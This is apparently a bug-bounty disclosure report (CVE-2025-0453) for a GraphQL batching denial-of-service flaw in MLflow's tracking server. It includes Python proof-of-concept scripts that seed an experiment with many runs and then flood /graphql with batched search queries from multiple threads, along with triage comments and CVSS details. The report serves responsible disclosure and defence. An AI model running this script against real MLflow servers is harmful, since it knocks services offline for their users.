Denial of service through batched queries in GraphQL in mlflow/mlflow

Valid Reported on Nov 13th 2024

Summary

The `/graphql`-endpoint can be used to cause denial of service by creating large batches of queries that repeatedly asks for all runs from a given experiment. If this is done in a way that ties up all of the workers allocated by MLFlow, the application is unable to respond to other requests.

POC

- Install and run the MLFlow tracking server by running `pip install mlflow` and `mlflow ui`.
- Run the following Python script:

```
from random import randint
from tqdm import tqdm
from mlflow import log_param, set_tracking_uri, start_run
N = 2000
# This essentially creates N runs in the same experiment.
# The experiment ID is printed by default in the terminal while tracking.
# On an actual system, one could just target an experiment that is known to have a
set_tracking_uri("http://localhost:5000")
for n in tqdm(range(N), total=N):
    with start_run():
        log_param("param1", randint(0, 100))
```

tracking a large amount of runs to a new experiment (should be given ID `0` on a fresh install).

- Run the following Python script:

```
import requests
import json
from random import choices
import string
import threading

# Replace this with the address of the tracking server.
TARGET = "http://localhost:5000"

# Replace this with the experiment ID that is allocated when tracking,
```

```
# or some existing ID with a lot of tracked runs.
EXPERIMENT_ID = 0

# The amount of batched queries to perform.
# Locally, 20 is enough to have all the workers OOM after about 30 seconds.
# This can then be repeated.
N = 20

internal_query = " ".join([
    ''.join(choices(string.ascii_letters, k=8)) + r': mlflowSearchRuns(input: { exp
    str(EXPERIMENT_ID) +
    '"] }) { runs { info { runId } } }'
    for _ in range(N)
])


query = 'mutation something {{ {} }}'.format(internal_query)

print("Query size (in bytes):", len(query.encode("utf-8")))
payload = {
    "query": query,
    "variables": {},
    "operation": "something"
}

def send_req():
    r = requests.post("{}/graphql".format(TARGET), data=json.dumps(payload), header
    print(r.elapsed.total_seconds())

print("Posting!")

# Replace this with the amount of workers allocated to MLFlow
THREADS = 4
for _ in range(THREADS):
    threading.Thread(target=send_req).start()
```

- Observe that while these requests are pending, the tracking server is unable to respond to other requests.

Discussion

This is an application of a batching attack on GraphQL, described here. In this case, the POC is essentially running the same (expensive) query multiple times through a single `HTTP`-level request. The setup script creates a single experiment with a lot of tracked runs, so that the `mlflowSearchRuns` query is as computationally expensive as possible on its own. In an actual system, this attack could also just target an existing experiment with existing runs.

When testing locally, the POC (for me) caused all the allocated workers to exit within about 30 seconds due to running out of memory. The attack is repeatable, meaning that it can be restarted each time a new set of workers is instantiated.

Impact

This vulnerability causes denial of service.

Occurrences

handlers.py L2241

https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html#batching-attacks suggests implementing a limit as to how many separate queries that can be included in each batch.

References

- Batching attacks targetting GraphQL

We are processing your report and will contact the **mlflow** team within 24 hours. a year ago

A **GitHub Issue** asking the maintainers to create a `SECURITY.md` exists a year ago

patrik-ha commented a year ago — Researcher

Actually, it seems that the workers aren't killed due to OOM, this just seems to be a suggestion by the logs. It rather seems that this is due to an anti-stall timeout or something in the webserver itself. This distinction however not really relevant in this case, but I thought that I should correct that.

huntr-helper commented a year ago — Admin

This report was determined to possibly be out of scope or have a high likelyhood of being marked as informative.

Please review your report and the Participation Guidelines.

These are the specific guidelines this report is in possible violation of:

- Lack of rate limiting issues.

This report has now been passed to internal triage and should be resolved within 14 days. a year ago

We have notified the **mlflow/mlflow** maintainers about this report in their weekly follow-up a year ago

Sign in to join this conversation

CVE
CVE-2025-0453
Published

Vulnerability Type
CWE-410: Insufficient Resource Pool

Severity
Medium (5.9)

Attack vector	Network
Attack complexity	High
Privileges required	None
User interaction	None
Scope	Unchanged
Confidentiality	None
Integrity	None
Availability	High

Open in visual CVSS calculator

Registry
Pypi

Affected Version
2.17.2

Visibility
Public

Status
Awaiting fix

Disclosure Bounty
$125

Fix Bounty
$31.25

Found by

patrik-ha
@patrik-ha
LIGHTWEIGHT

